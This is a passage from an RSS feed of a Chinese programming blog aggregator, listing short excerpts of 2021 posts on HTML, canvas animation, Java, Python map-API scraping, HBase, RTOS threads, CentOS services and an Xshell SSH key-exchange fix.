      <link>https://bchobby.github.io/posts/a2a008ef0c0fb7c08915c7d4408d7c7c/</link>
      <pubDate>Thu, 03 Jun 2021 10:32:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2a008ef0c0fb7c08915c7d4408d7c7c/</guid>
      <description>1. 组合优化问题 组合数学（Combinatorics）是数学的一个分支，主要研究有限的或者可数的离散结构的存在性、计数和构造问题。&#xA;组合优化（也叫离散优化）指在有限个可能解的集合中找出最优解的优化问题。&#xA;1.1 组合优化问题定义 首先，我们通过定义对实例和问题做一个区分：&#xA;定义1.1（最优化问题的实例） 一个最优化问题的一个实例是一个二元组 ( F , c ) (F,c) (F,c)，其中 F F F 是一个集合， c c c 是代价函数，从 F F F 映射到实数集合。要求找出一个 f ∈ F f\in F f∈F，使得对所有的 y ∈ F y\in F y∈F，都有 c ( f ) ≤ c ( y ) c(f)\le c(y) c(f)≤c(y) ，则 f f f 称为最优解。&#xA;定义1.2（最优化问题） 一个最优化问题包含该问题的所有实例。&#xA;简单来说，一个实例是给定了输入数据的特定问题，一个问题是所有实例的集合。 定义1.3（组合优化问题） 从一个包含有限对象的集合中，找出一个最优化的对象。&#xA;组合优化问题研究的对象是离散的，有限的。 1.2 组合优化问题举例 典型的组合优化问题包括旅行商问题、调度问题、背包问题、装箱问题、最大团问题、聚类问题、图着色问题等。下面我们简单描述一下这些问题，以增强理解。&#xA;例1. 旅行商问题（Traveling Salesman Problem, TSP） 给定一个带权无向图 G = ( V , E ) G=(V,E) G=(V,E)，找出图中一条权值最小的哈密顿回路。哈密顿回路是指从图中某个点出发，经过图中所有节点并回到出发点的路。图中所有顶点必须经过且只能经过一次。</description>
    </item>
    <item>
      <title>html5页面的dtd定义是,html基本概念</title>
      <link>https://bchobby.github.io/posts/2f6c085562b53579a1cd5c0cafff082c/</link>
      <pubDate>Thu, 03 Jun 2021 03:07:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f6c085562b53579a1cd5c0cafff082c/</guid>
      <description> HTML是前端开发最基本的语言，也是最重要的语言之一，我们在浏览网页时做看到的内容是最直接的表现形式就是HTML代码。&#xA;一个完整的网页需要几个组成部分：也就是说我们一个网页的基本骨架中的组成部分。&#xA;以下代码片段就是最基本的html骨架：&#xA;HTML文件标题 HTML头信息&#xA;HTML内容信息&#xA;Html基本概念的详解：&#xA;一个html骨架包含文档类型声明，html标签，head标签，body标签&#xA;①HTML文档&#xA;首先要声明一个文档类型(也叫DTD),也就是上面例子第一行(http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd&#34;&amp;gt;&#xA;),该网页定义了XHTML1.1文档类型(文档类型是为了说明这个html页面使用了哪种HTML规则)。&#xA;②标签&#xA;Html标签是一对双标签，由开始标签和结束标签组成。表示HTML文档的开始与结束,也是HTML文档的根元素。除了文档类型外的所有页面内容，都包括在html元素中。表示整个网页页面。HTML标签中主要分为头部信息(head)与内容信息(body)。&#xA;③head标签&#xA;Head标签也是一对双标签，由开始标签&#xA;和结束标签组成。Head标签是书写头部信息的部分。 Head标签书写文档的HTML相关信息,比如标题title，页面的语言与文字类型，css样式，javascript代码，简短描述，关键词等内容，是用户无法直接在网页中看到的。&#xA;④body标签&#xA;Body标签也是一对双标签，也是由开始标签&#xA;和结束标签组成的。Body标签内部书写是网页的主体部分，是用户可以看到的全部内容。比如段落，超级链接，表格，表单等。书写代码时一定要有层次感(注意标签之间的嵌套关系，有嵌套关系的标签要有缩进)，head标签和body标签都是在html标签中的，再写子元素标签时，应使用tab键，使子元素产生缩进，这样代码会更有层次感。 </description>
    </item>
    <item>
      <title>html5页面的dtd定义是,关于html5 dtd/schema的另一个问题</title>
      <link>https://bchobby.github.io/posts/cdabdf67e76df5f62d4eeaa10c17d94b/</link>
      <pubDate>Thu, 03 Jun 2021 03:07:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cdabdf67e76df5f62d4eeaa10c17d94b/</guid>
      <description>Quentin..&#xA;6&#xA;如果没有DTD或模式来验证H5文档,我们应该如何进行文档验证？&#xA;使用专门的HTML5验证器,而不是通用的SGML或XML验证器.&#xA;显然,由于规范仍处于草案形式,现有的工具尚不成熟,可能已过时或过时.&#xA;当然,W3C有一个在线工具可以验证各个页面.但是,如果我正在创建大量页面(数百,比方说)并且我想以某种批处理模式验证它们,那么确保有效结构和语法的可接受方法是什么？&#xA;使用不同的工具或下载W3C验证器并运行本地副本.它有一个SOAP API,因此编写批处理验证工具并不困难.&#xA;自定义标签怎么样？&#xA;HTML5不允许自定义元素.&#xA;标签属性怎么样？&#xA;HTML5中唯一的自定义属性是data-*属性,因此HTML 5验证器可以识别它们.&#xA;好像W3C在这里稍微偏冷了我们.&#xA;您似乎期望HTML 5(未完成)的QA工具的状态达到与HTML 4(十多年前)相同的标准.这不是一个现实的期望.&#xA;也许最好的答案可以在HTML编辑器中找到.但是你得到了DTD /模式碎片.每个编辑器供应商都会提出自己的有效结构.&#xA;即使没有以DTD或模式的形式表达,规范也很清楚(虽然不断变化).如果每个编辑器对什么是有效的有不同的想法,那么它们中的大部分或全部将会过时或者只是错误.&#xA;也许答案是&#34;等待HTML5成为官方&#34;.但我真的不能等待.我现在需要开始创建和验证内容.我有想要发布的应用程序,只能用html5完成.&#xA;如果你需要生活在最前沿,那么你必须接受这样做的限制和风险.</description>
    </item>
    <item>
      <title>html5开车的动画效果,运用HTML5实现超赞的单车动画效果</title>
      <link>https://bchobby.github.io/posts/499dd7a1dd0b8e04c3377a20092e74ab/</link>
      <pubDate>Thu, 03 Jun 2021 02:34:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/499dd7a1dd0b8e04c3377a20092e74ab/</guid>
      <description>运用HTML5实现超赞的单车动画效果_网页代码站(www.webdm.cn) var framecounter = 800;//为了完成作业，无耻了点，在这里设置变量……&#xA;var direction = &#34;left&#34;;&#xA;function drawBikeBody () {&#xA;var canvas = document.getElementById(&#39;diagonal&#39;);&#xA;var context = canvas.getContext(&#39;2d&#39;);&#xA;context.lineWidth = 3;&#xA;context.beginPath();&#xA;context.moveTo(0,0);&#xA;context.lineTo(150,0);&#xA;context.lineTo(100,100);&#xA;context.closePath();&#xA;context.moveTo(100,100);&#xA;context.lineTo(200,75);//后轮轴承点&#xA;context.lineTo(150,0);&#xA;//下面那个一个脚踏&#xA;context.moveTo(100,100);&#xA;context.lineTo(110,120);&#xA;context.lineTo(120,120);&#xA;context.moveTo(110,120);&#xA;context.lineTo(100,120);&#xA;//另一个脚踏&#xA;context.moveTo(100,100);&#xA;context.lineTo(90,80);&#xA;context.lineTo(100,80);&#xA;context.moveTo(90,80);&#xA;context.lineTo(80,80);&#xA;//座包&#xA;context.moveTo(150,0);&#xA;context.lineTo(160,-20);&#xA;context.lineTo(175,-20);&#xA;context.moveTo(160,-20);&#xA;context.lineTo(135,-20);&#xA;//扶手&#xA;context.moveTo(0,0);&#xA;context.lineTo(15,-30);&#xA;context.lineTo(10,-35);&#xA;context.lineTo(20,-40);&#xA;context.lineTo(40,-40);&#xA;//前轮轴承&#xA;context.moveTo(0,0);&#xA;context.lineTo(-35.5,75);//前轮轴承点&#xA;//前轮&#xA;context.moveTo(75-35.5,75);//去掉这个目测不行啊，貌似context.arc()方法里有lineTo&#xA;context.arc(-35.5,75,75,0,Math.PI*2,true);&#xA;//后轮&#xA;context.moveTo(200+75,75);&#xA;context.arc(200,75,75,0,Math.PI*2,true);&#xA;}&#xA;function drawForcePiece1(){&#xA;var canvas = document.</description>
    </item>
    <item>
      <title>html5开车的动画效果,html5 canvas制作仪表盘动画特效</title>
      <link>https://bchobby.github.io/posts/2b76c80ca055718a00d86019f28bf141/</link>
      <pubDate>Thu, 03 Jun 2021 02:33:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2b76c80ca055718a00d86019f28bf141/</guid>
      <description>特效描述：html5 canvas制作 仪表盘动画特效。html5 canvas制作仪表盘动画特效&#xA;代码结构&#xA;1. 引入CSS&#xA;2. 引入JS&#xA;3. HTML代码&#xA;radial&#xA;radial-component&#xA;linear-component&#xA;issue-63&#xA;async&#xA;scripted&#xA;Animate&#xA;Stop animation&#xA;data-min-value=&#34;0&#34;&#xA;data-max-value=&#34;360&#34;&#xA;data-major-ticks=&#34;N,NE,E,SE,S,SW,W,NW,N&#34;&#xA;data-minor-ticks=&#34;22&#34;&#xA;data-ticks-angle=&#34;360&#34;&#xA;data-start-angle=&#34;180&#34;&#xA;data-stroke-ticks=&#34;false&#34;&#xA;data-highlights=&#34;false&#34;&#xA;data-color-plate=&#34;#222&#34;&#xA;data-color-major-ticks=&#34;#f5f5f5&#34;&#xA;data-color-minor-ticks=&#34;#ddd&#34;&#xA;data-color-numbers=&#34;#ccc&#34;&#xA;data-color-needle=&#34;rgba(240, 128, 128, 1)&#34;&#xA;data-color-needle-end=&#34;rgba(255, 160, 122, .9)&#34;&#xA;data-value-box=&#34;false&#34;&#xA;data-value-text-shadow=&#34;false&#34;&#xA;data-color-circle-inner=&#34;#fff&#34;&#xA;data-color-needle-circle-outer=&#34;#ccc&#34;&#xA;data-needle-circle-size=&#34;15&#34;&#xA;data-needle-circle-outer=&#34;false&#34;&#xA;data-needle-type=&#34;line&#34;&#xA;data-needle-start=&#34;75&#34;&#xA;data-needle-end=&#34;99&#34;&#xA;data-needle-width=&#34;3&#34;&#xA;data-borders=&#34;true&#34;&#xA;data-border-inner-width=&#34;0&#34;&#xA;data-border-middle-width=&#34;0&#34;&#xA;data-border-outer-width=&#34;10&#34;&#xA;data-color-border-outer=&#34;#ccc&#34;&#xA;data-color-border-outer-end=&#34;#ccc&#34;&#xA;data-color-needle-shadow-down=&#34;#222&#34;&#xA;data-animation-target=&#34;plate&#34;&#xA;data-animation-duration=&#34;1500&#34;&#xA;data-animation-rule=&#34;linear&#34;&#xA;data-width=&#34;300&#34;&#xA;data-height=&#34;300&#34;&#xA;data-units=&#34;ᵍ&#34;&#xA;data-value=&#34;0&#34;&#xA;&amp;gt;&#xA;data-width=&#34;300&#34;&#xA;data-height=&#34;300&#34;&#xA;data-min-value=&#34;0&#34;&#xA;data-max-value=&#34;360&#34;</description>
    </item>
    <item>
      <title>实训中学到的HTML基础知识（2）</title>
      <link>https://bchobby.github.io/posts/d270ca947976322fcea18d0665f6152e/</link>
      <pubDate>Wed, 02 Jun 2021 22:06:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d270ca947976322fcea18d0665f6152e/</guid>
      <description>今天是实训的第三天，是正式上课的第二天，今天学习到的知识是HTML里的表单标签和CSS样式表。&#xA;一、表单 表单是一个包含表单元素的区域，表单元素允许用户在表单（比如文本域、下拉列表、单选框、复选框等等）输入信息的元素。&#xA;form&#xA;表单标签&#xA;&amp;lt;form&amp;gt; 定义供用户输入的表单&#xA;&amp;lt;input&amp;gt; 定义输入域&#xA;&amp;lt;textarea&amp;gt; 定义文本域 (一个多行的输入控件)&#xA;&amp;lt;label&amp;gt; 定义了 &amp;lt;input&amp;gt; 元素的标签，一般为输入标题&#xA;&amp;lt;fieldset&amp;gt; 定义了一组相关的表单元素，并使用外框包含起来&#xA;&amp;lt;legend&amp;gt; 定义了 &amp;lt;fieldset&amp;gt; 元素的标题&#xA;&amp;lt;select&amp;gt; 定义了下拉选项列表&#xA;&amp;lt;optgroup&amp;gt; 定义选项组&#xA;&amp;lt;option&amp;gt; 定义下拉列表中的选项&#xA;&amp;lt;button&amp;gt; 定义一个点击按钮&#xA;&amp;lt;datalist&amp;gt;New 指定一个预先定义的输入控件选项列表&#xA;&amp;lt;keygen&amp;gt;New 定义了表单的密钥对生成器字段&#xA;&amp;lt;output&amp;gt;New 定义一个计算结果&#xA;输入元素&#xA;文本域 text&#xA;密码字段 password&#xA;复选框 checkboxes&#xA;单选按钮 radio buttons&#xA;提交按钮 submit&#xA;属性&#xA;value：提交数据到服务器的值（后台程序PHP使用）&#xA;name：为控件命名，以备后台程序 ASP、PHP 使用&#xA;checked：当设置 checked=&#34;checked&#34; 时，该选项被默认选中&#xA;selected：使此选项成为默认选项。&#xA;disabled：使此选项无法点击。&#xA;style=&#34;display:none&#34;：使此选项不在旧版浏览器中显示。 hidden：使此选项不显示在下拉列表中。&#xA;二、CSS样式表 CSS&#xA;选择器&#xA;标签选择器&#xA;HTML标签名(元素)作为选择器名称，如：div 、h1 、p …&#xA;类选择器</description>
    </item>
    <item>
      <title>数字电子时钟设计</title>
      <link>https://bchobby.github.io/posts/c04e6988437d291e4daa783d1707c274/</link>
      <pubDate>Wed, 02 Jun 2021 18:03:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c04e6988437d291e4daa783d1707c274/</guid>
      <description> 文章目录 目的仿真视频讲解其他资料注意事项 目的 使用4511、4060、等芯片实现一个数字电子时钟，要求：&#xA;有时、分、秒正常显示、进位能够实现分钟加、小时加有一键清零功能&#xA;关于时钟设计资料仿真讲解比较少，所以在博客上做一个备份，希望能够帮到同学。 仿真 ps：这里下面的寄存器是无效的，后面视频有讲解&#xA;视频讲解 数字电子时钟讲解&#xA;其他资料 4511和74ls47互替代&#xA;4518&#xA;电路仿真图纸质版（和实际仿真有出入，仅参考）&#xA;器件表&#xA;电子时钟图片版仿真（电子发烧友资源）&#xA;没有一键清零&#xA;有一键清零&#xA;注意事项 建议大家仿真时多用网络标号，这样可以不用画那么大而且比较清晰，但不要有漏线等情况。CD4081BD是CMOS器件，工作电源电压是 3V ~ 18V。TTL元件74LS08工作电源电压是5V。两种芯片都是2输入端四与非门。但引脚引出排列不一样。最开始用示波器观察进位二极管之前的波形发现脉冲电压是2v多，4081输出最低电压3v，二极管0.7，进位脉冲过不去，然后换了高电压的与门。 </description>
    </item>
    <item>
      <title>cocos2dx -- 坐标转换出错</title>
      <link>https://bchobby.github.io/posts/ff8afe8d981b5e709a3c83ab84ab9b36/</link>
      <pubDate>Wed, 02 Jun 2021 17:59:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff8afe8d981b5e709a3c83ab84ab9b36/</guid>
      <description> 1：坐标转换问题&#xA;之前在Node的生命周期onEnter做坐标转换，发现加了适配widget，转换的坐标有问题&#xA;换到onEnterTransitionFinish就正常了，估计是因为在onEnter坐标还没最终设置完成。&#xA;virtual void onEnter();&#x9;//被添加到场景中的节点时调用 virtual void onEnterTransitionDidFinish();&#x9;//被添加到场景中的节点完成时调用 virtual void onExitTransitionDidStart();&#x9;//开始从场景中的节点移除时调用 virtual void onExit();&#x9;//从场景中的节点移除完成后调用 virtual void cleanup();&#x9;//停止在场景中运行的所有节点状态 </description>
    </item>
    <item>
      <title>基于高德地图导航的路径爬取</title>
      <link>https://bchobby.github.io/posts/dd187cf274df32673024118311411020/</link>
      <pubDate>Wed, 02 Jun 2021 11:15:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd187cf274df32673024118311411020/</guid>
      <description>打中青杯的时候写的路径爬取小程序~~&#xA;高德地图的API种类很多，这里选用路径导航来做路线爬取~&#xA;先用pyhon通过高德地图的API爬取起始点到终点的经纬度坐标，并绘制，代码如下：&#xA;​ import requests import json import pandas as pd import matplotlib.pyplot as plt #输入起始地址和城市，终点地址和城市 start=input(&#34;start:&#34;) start_city=input(&#34;start_city:&#34;) end=input(&#34;end:&#34;) end_city=input(&#34;end_city:&#34;) #获取起点和终点的经纬度坐标 start=requests.get(&#39;https://restapi.amap.com/v3/geocode/geo?key=&amp;lt;在高德地图上申请的key&amp;gt;&amp;amp;address=%s&amp;amp;city=%s&#39;%(start,start_city)) end=requests.get(&#39;https://restapi.amap.com/v3/geocode/geo?key=&amp;lt;在高德地图上申请的key&amp;gt;&amp;amp;address=%s&amp;amp;city=%s&#39;%(end,end_city)) start_j=json.loads(start.text) end_j=json.loads(end.text) start=start_j[&#34;geocodes&#34;][0][&#34;location&#34;] end=end_j[&#34;geocodes&#34;][0][&#34;location&#34;] #获取导航信息 url=&#39;https://restapi.amap.com/v3/direction/driving?key=&amp;lt;在高德地图上申请的key&amp;gt;&amp;amp;origin=%s&amp;amp;destination=%s&amp;amp;originid=&amp;amp;destinationid=&amp;amp;extensions=base&amp;amp;strategy=0&amp;amp;waypoints=&amp;amp;avoidpolygons=&amp;amp;avoidroad=&#39;%(start,end) r=requests.get(url) j=json.loads(r.text) #处理导航信息 s=&#34;&#34; for i in range(len(j[&#34;route&#34;][&#34;paths&#34;][0][&#34;steps&#34;])): s=s+&#34;;&#34; + j[&#34;route&#34;][&#34;paths&#34;][0][&#34;steps&#34;][i][&#34;polyline&#34;] new_s=&#34;jingdu,weidu&#34; for i in range(len(s)): if s[i]==&#34;;&#34;: new_s+=&#34;\n&#34; else: new_s+=s[i] with open(&#39;result.csv&#39;,&#39;w&#39;) as f: f.write(new_s) f.flush() data=pd.read_csv(&#39;result.csv&#39;) #画出路线 plt.plot(data.values[:,0],data.values[:,1]) plt.show() ​ 其中，高德地图的key获取方式如下：&#xA;到官网：高德开放平台 | 高德地图API (amap.com)&#xA;然后右上角登陆&#xA;右上角，控制台</description>
    </item>
    <item>
      <title>java stream collect方法详解</title>
      <link>https://bchobby.github.io/posts/713e41786fb3c32d21df176e1ff6efb4/</link>
      <pubDate>Wed, 02 Jun 2021 11:14:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/713e41786fb3c32d21df176e1ff6efb4/</guid>
      <description>jdk 1.8版本中stream的collect方法&#xA;&amp;lt;R&amp;gt; R collect(Supplier&amp;lt;R&amp;gt; supplier, BiConsumer&amp;lt;R, ? super T&amp;gt; accumulator, BiConsumer&amp;lt;R, R&amp;gt; combiner); stream.collect() 的本质由三个参数构成,&#xA;Supplier 新建对象, 用来返回的最终结果 BiConsumer accumulator 累加器直接取，将流中每个被遍历的元素添加到新建对象中 BiConsumer combiner 合并器, 在有并行流的时候才会有用, 一个流时代码不会走到这里 举例说明，这里使用方法注释中的例子来说明，代码如下&#xA;String concat = stringStream.collect(StringBuilder::new, StringBuilder::append, StringBuilder::append) .toString(); 改造一下，增加日志，使用map来体验collect方法&#xA;Map&amp;lt;String, Object&amp;gt; map = new HashMap&amp;lt;&amp;gt;(16); map.put(&#34;name&#34;, &#34;飒飒飒&#34;); map.put(&#34;sex&#34;, &#34;帅哥&#34;); map.put(&#34;age&#34;, &#34;18&#34;); for (Map.Entry&amp;lt;String, Object&amp;gt; s : map.entrySet()) { log.info(&#34;{}&#34;, s); } String concat = map.entrySet().stream().collect(StringBuilder::new, (stringBuilder, entry) -&amp;gt; { log.info(&#34;开始利用新建的对象进行累加原始串：{}, 待累加的值：{}&#34;, stringBuilder, entry); stringBuilder.</description>
    </item>
    <item>
      <title>Xshell连接时显示“服务器发送了一个意外的数据包。received:3,expected:20“问题的解决方法</title>
      <link>https://bchobby.github.io/posts/3847865f8261e70d0636c1b727b1c28d/</link>
      <pubDate>Wed, 02 Jun 2021 10:56:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3847865f8261e70d0636c1b727b1c28d/</guid>
      <description>一、问题描述 最近在大数据服务器上安装了openbsd6.7版本，安装完后通过xshell连接，弹出一个错误对话框，提示“服务器发送了一个意外的数据包。received:3,expected:20”的错误信息。&#xA;检查sshd服务是正常开启的，防火墙也没阻止，可能是sshd可能与xshell存在兼容性问题。因为我在其他unix系统下通过ssh是可以正常连上的。但是在堡垒机上，是可以登录连接的，但是打开xftp会提示“服务器发送了断开连接数据包。[USM] &#39;sftp&#39; userauth failed, please check root@娉拌开淳中暄鎂缥箄鑾~ 10.16.15.17:22&#34;&#39;s password (code: 11)”的错误信息。&#xA;这样对于习惯用xshell的人来说很不方便，尽管已经装了SecureCRT 8.1。&#xA;二、解决方法 使用别的连接工具或者堡垒机上操作，在/etc/ssh/sshd_config最后增加以下一行（别选错了，不是ssh_config）：&#xA;KexAlgorithms curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1 然后重启sshd服务或者重载服务配置文件，命令如下：&#xA;systemctl restart sshd 如果提示“-bash: systemctl: command not found”信息，则使用如下命令：&#xA;service sshd restart 重启运行结果。&#xA;问题解决，尝试重新使用Xshell连接服务器。&#xA;文章未经博主同意，禁止转载！</description>
    </item>
    <item>
      <title>FCOS代码复现错误集合</title>
      <link>https://bchobby.github.io/posts/033fc3ba3295517c30b14d7333b4b80d/</link>
      <pubDate>Wed, 02 Jun 2021 08:47:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/033fc3ba3295517c30b14d7333b4b80d/</guid>
      <description>在我复现无锚框检测神网络-FCOS时，官方代码—FCOS-master令我头疼不已，现将问题总结如下，仅供参考：&#xA;1.from fcos_core import _C&#xA;遇到这个问题抓耳挠腮了好久，尝试过各种方法，最后不得已，在文件所在目录下重新执行：&#xA;python setup.py build develop --no-deps 再次运行的时候，没有出现这个报错。&#xA;2.cv2.error: OpenCV(4.5.1) /tmp/pip-install-2f1_c8js/Opencv-python/opencv/modules/highgui/src/window.cpp:651: error: (-2:Unspecified error) The function is not implemented. Rebuild the library with Windows, GTK+ 2.x or Cocoa support. If you are on Ubuntu or Debian, install libgtk2.0-dev and pkg-config, then re-run cmake or configure script in function ‘cvShowImage’&#xA;尝试了好几种解决方式，目前无解&#xA;File “/home/damon/anaconda3/lib/python3.7/site-packages/yacs/config.py”, line 211, in merge_from_file&#xA;with open(cfg_filename, “r”) as f:&#xA;FileNotFoundError: [Errno 2] No such file or directory: ‘’ 错误出现在train——net代码121行，没有放置相应的文件。</description>
    </item>
    <item>
      <title>数据存储之HBase数据读写流程</title>
      <link>https://bchobby.github.io/posts/b960bf8402602f2572c46cb468360c41/</link>
      <pubDate>Tue, 01 Jun 2021 23:28:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b960bf8402602f2572c46cb468360c41/</guid>
      <description> HBase写数据流程 写数据流程：&#xA;client访问zookeeper，获取元数据表位于哪个regionserver前往目标regionserver，拿到元数据表并根据rowkey等信息查询出数据应该位于哪个regionserver的哪一个region中，并将这个表的region信息以及meta表的位置信息缓存在客户端的meta cache，以便下次访问与目标regionserver通信将写入操作顺序写入(追加)到WAL将数据写入对应的memstore，数据会在memstore中进行排序向客户端发送ack，告知写入成功等待到了memstore的刷写时机后，将数据刷写到storeFile中 HBase读数据流程 读数据流程：&#xA;client先访问zookeeper，获取元数据表位于哪个regionserver前往目标regionserver，拿到元数据表并根据rowkey等信息查询出数据应该位于哪个regionserver的哪一个region中，并将这个表的region信息以及meta表的位置信息缓存在客户端的meta cache，以便下次访问与目标regionserver通信按顺序去Block Cache(读缓存)、memstore和HFile中查询目标数据，并且将查到的所有数据进行合并。此处所有数据指的是同一条数据的不同版本(timestamp)或者不同操作类型将从文件中查询到的数据块(Block：HFile数据存储单元，默认大小为64kb)缓存到Block cache将合并后的结果返回给客户端 </description>
    </item>
    <item>
      <title>实训中学到的HTML基础知识（1）</title>
      <link>https://bchobby.github.io/posts/95aa8fbf04749c55152815c8852d5329/</link>
      <pubDate>Tue, 01 Jun 2021 22:33:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/95aa8fbf04749c55152815c8852d5329/</guid>
      <description>今天是实训的第一天上课，老师给我们上了简单的html基础，也和同学们愉快地探讨了关于HTML的相关知识，所以用CSDN来记录一下今日所学所感。&#xA;一、HTML基础&#xA;HTML就是超文本标记语言的缩写，它的重点是标签，由各种通过&amp;lt;&amp;gt;包裹的标签组成，它简易性好，可扩展性强，且与平台无关。&#xA;1.&amp;lt;html&amp;gt;......&amp;lt;/html&amp;gt;部分&#xA;强调HTML标签都以“&amp;lt; &amp;gt;”开始、“&amp;lt;/ &amp;gt;”结束&#xA;说明网页基本结构中这几个标签的用法&#xA;网页中所有的内容都放在&amp;lt;body&amp;gt;和&amp;lt;/body&amp;gt;之间&#xA;2.&amp;lt;meta&amp;gt;部分&#xA;meta 标签描述了一些见面的基本的元数据。这些元数据不会显示在页面上，但会被浏览器解析。&#xA;&amp;lt;meta&amp;gt; 一般放置于 &amp;lt;head&amp;gt; 区域&#xA;二、HTML元素&#xA;标准文档流构成：块级元素/行级(行内)元素&#xA;块级元素（ block ） ü &amp;lt;div&amp;gt; 、 &amp;lt;h1&amp;gt; 、 &amp;lt;h6&amp;gt; 、&amp;lt;p&amp;gt;… 块级元素 “ 独占一行 ” 显示，通常用来当作容器使用， 制作 页面布局 v 行级元素（ inline ） ü &amp;lt;a&amp;gt; 、 &amp;lt;span&amp;gt; 、 &amp;lt; img &amp;gt; 、&amp;lt;strong&amp;gt;… 行级元素：宽高就是内容的宽度，行内元素不能容纳块级元素&#xA;其它行级元素：textarea、button 等</description>
    </item>
    <item>
      <title>centos7 设置 查看 开机 启动项（自启项）</title>
      <link>https://bchobby.github.io/posts/23a9f1363d88134f99ae29a10845c870/</link>
      <pubDate>Tue, 01 Jun 2021 20:20:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/23a9f1363d88134f99ae29a10845c870/</guid>
      <description>查看启动项命令 systemctl list-unit-files&#xA;左边是服务名称，右边是状态，enabled是开机启动，disabled是开机不启动&#xA;[root@39 ~]# systemctl list-unit-files UNIT FILE STATE proc-sys-fs-binfmt_misc.automount static dev-hugepages.mount static dev-mqueue.mount static proc-sys-fs-binfmt_misc.mount static sys-fs-fuse-connections.mount static sys-kernel-config.mount static sys-kernel-debug.mount static tmp.mount disabled brandbot.path disabled systemd-ask-password-console.path static systemd-ask-password-plymouth.path static systemd-ask-password-wall.path static session-1.scope static session-2.scope static session-3.scope static aliyun.service disabled arp-ethers.service disabled AssistDaemon.service enabled atd.service enabled auditd.service enabled autovt@.service enabled blk-availability.service disabled brandbot.service static chrony-dnssrv@.service static chrony-wait.service disabled chronyd.service disabled cloud-config.service enabled cloud-final.service enabled cloud-init-local.service enabled cloud-init-upgrade.</description>
    </item>
    <item>
      <title>JAVA携带参数(带有请求参数,请求头参数)直接发送POST请求</title>
      <link>https://bchobby.github.io/posts/2959efe62aeda07ccc37004bfe106216/</link>
      <pubDate>Tue, 01 Jun 2021 17:50:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2959efe62aeda07ccc37004bfe106216/</guid>
      <description>package com.test; import org.apache.http.HttpEntity; import org.apache.http.client.entity.UrlEncodedFormEntity; import org.apache.http.client.methods.CloseableHttpResponse; import org.apache.http.client.methods.HttpPost; import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.HttpClients; import org.apache.http.message.BasicNameValuePair; import org.apache.http.util.EntityUtils; import java.util.ArrayList; import java.util.List; public class Test { public static void main(String[] args) { sendPost(); } public static void sendPost(){ String value=&#34;12222&#34;; //创建post请求对象 HttpPost post = new HttpPost(&#34;http://localhost:8080/test&#34;); try { //创建参数集合 List&amp;lt;BasicNameValuePair&amp;gt; list = new ArrayList&amp;lt;BasicNameValuePair&amp;gt;(); //添加参数 list.add(new BasicNameValuePair(&#34;key&#34;, value)); list.add(new BasicNameValuePair(&#34;releaseDate&#34;,&#34;2020-07-14 09:55:20&#34;)); //把参数放入请求对象，，post发送的参数list，指定格式 post.setEntity(new UrlEncodedFormEntity(list, &#34;UTF-8&#34;)); //添加请求头参数 post.addHeader(&#34;timestamp&#34;,&#34;1594695607545&#34;); CloseableHttpClient client = HttpClients.</description>
    </item>
    <item>
      <title>多线程-RGB_LED闪烁灯</title>
      <link>https://bchobby.github.io/posts/c33166b08770920bae0cf18aa01ace5e/</link>
      <pubDate>Mon, 31 May 2021 22:09:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c33166b08770920bae0cf18aa01ace5e/</guid>
      <description>目录 线程RTX Thread API实验：RGB灯闪烁准备配置线程编译运行 其他multiple instances(多个实例)joinable Thread(可接合线程) 小结参考资料 开始学习线程之前，你可能需要复习：&#xA;☞为什么使用RTOS？&#xA;☞RTX系统移植&#xA;如果准备就绪，那么，进入正题！&#xA;线程 线程概念&#xA;In CMSIS-RTOS2, the basic unit of execution is a “Thread”. A Thread is very similar to a ‘C’ procedure but has some very fundamental （根本的）differences. An RTOS program is made up of a number of threads, which are controlled by the RTOS scheduler.&#xA;线程是程序执行的基本单元。我们可以将程序分解为多个功能相对独立的子任务（类似C函数模块化调用），然后为每个子任务分配一个线程，而RTOS负责子任务之间的调度，从而实现多线程的&#34;并行&#34;，提高程序的实时性和效率。&#xA;unsigned int procedure(void){ // C function ... return (ch); } void thread(void* arg){ // thread while(1){ .</description>
    </item>
    <item>
      <title>do.....while(0)用法</title>
      <link>https://bchobby.github.io/posts/dae414cae732d937677aa92d1d3c2ec9/</link>
      <pubDate>Mon, 31 May 2021 21:26:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dae414cae732d937677aa92d1d3c2ec9/</guid>
      <description>在c中，我们遇到的有三种循环语句：for, while和do…while，最近在看一些别人写的代码时候，遇到了do…while(0),当时十分不理解，为什么要这样子做。&#xA;下面说一下为什么要用到do…while(0)&#xA;消除代码的冗余避免使用goto语句 解释1：&#xA;我们在写程序的时候，在一个函数中如果遇到需要判断情况的，有时动不动需要判断几个参数，或者我们的代码像下面这样子。&#xA;bool Execute() { // 分配资源 int *p = new int; bool bOk(true); // 执行并进行错误处理 bOk = func1(); if(!bOk) { delete p; p = NULL; return false; } bOk = func2(); if(!bOk) { delete p; p = NULL; return false; } bOk = func3(); if(!bOk) { delete p; p = NULL; return false; } // .......... // 执行成功，释放资源并返回 delete p; p = NULL; return true; } 这个例子最大的问题就是代码十分的冗余，而且不利于后续的扩展，每一次工程师加一个情况就需要加几个判断情况，这时候有人可能想到goto语句；程序就变成下面；</description>
    </item>
    <item>
      <title>asp.net GridView列宽度设置(横向滚动条)</title>
      <link>https://bchobby.github.io/posts/4fd9bcc044948e0d05172c794967ef34/</link>
      <pubDate>Mon, 31 May 2021 21:23:29 +0800</pubDate>
